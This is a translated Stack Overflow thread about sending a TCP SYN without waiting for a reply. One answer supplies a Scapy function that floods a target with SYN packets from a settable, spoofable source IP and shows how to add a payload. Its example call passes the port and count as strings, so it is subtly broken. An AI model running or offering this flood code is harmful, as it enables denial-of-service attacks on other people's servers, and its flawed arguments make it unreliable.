【问题标题】:socket.connect blocks forever. How to just send the SYN packet with a LENGHT without waiting for response?socket.connect 永远阻塞。如何在不等待响应的情况下发送带有 LENGTH 的 SYN 数据包?
【发布时间】:2020-07-24 14:12:11
【问题描述】:

我有这个简单的代码:

import socket

ip = "myip"
port = myport

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print("SYN packet sent.")

如果我运行它,它永远不会到达打印位置,因此它永远不会完成连接,那是因为我要连接的 IP 没有打开该端口。

其实我并不想完成连接,只需要发送SYN请求即可。

另外,我需要发送带有 LENGHT 的数据包。如果我使用 hping3 进行测试并嗅探发送的 syn 数据包,我会看到有 100 长的有效负载。如何将此有效负载“添加”到数据包中?

我该怎么做?

【问题讨论】:

  • 你错了。它不会永远阻塞。大约一分钟后会超时。您可以使用连接超时或非阻塞模式。

标签: python python-3.x sockets tcp scapy


【解决方案1】:

据我所知,您所追求的是 TCP SYN 洪水,可能最好使用Scapy Library 来实现。这可以通过类似于以下的代码来实现:

from scapy.all import *

def flood(src_ip, dst_ip, dst_port, amount):
 ip = IP(src=src_ip, dst=dst_ip)
 for i in range(0, amount):
  src_port = random.randint(20, 65000)
  transport = TCP(sport=src_port, dport=dst_port, flags="S")
  send(ip/transport)

if __name__ == '__main__':
 flood('x.x.x.x', 'x.x.x.x', '443', '1000')

如上所述,重要的是要注意您不能在 SYN 数据包中发送数据。

【讨论】:

  • 您好,感谢您的帮助。顺便说一句,使用 hping3 发送 syn 数据包,并嗅探发送的数据包,我看到有 100 长度的有效负载。即使端口已关闭,如何在这些 scapy 制作的数据包中“添加”此有效负载?
  • 可以通过追加字节来添加数据:send(ip/transport/b"deliciousdata")
【解决方案2】:

如果您不想等待回复,例如,可以使用socket.settimeout

这是一个设置 5 秒超时的示例:

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect((ip, port))
except socket.timeout:
    pass

另一种解决方案,尽管更困难,是使用原始套接字手动发送数据包。

您可以使用 tcpdump 等工具验证您的数据包是否确实正在发送:

$ tcpdump 'tcp port 5005'

【讨论】:

  • 原始套接字无济于事。您必须与他们进行整个对话,并且平台很可能会拒绝他们不知道的 TCP 连接的 TCP 数据包。
猜你喜欢
  • 2019-10-28
  • 1970-01-01
  • 1970-01-01
  • 2018-05-08
  • 2016-06-03
  • 2020-08-01
  • 2015-09-18
  • 1970-01-01
  • 2011-06-17
相关资源
最近更新 更多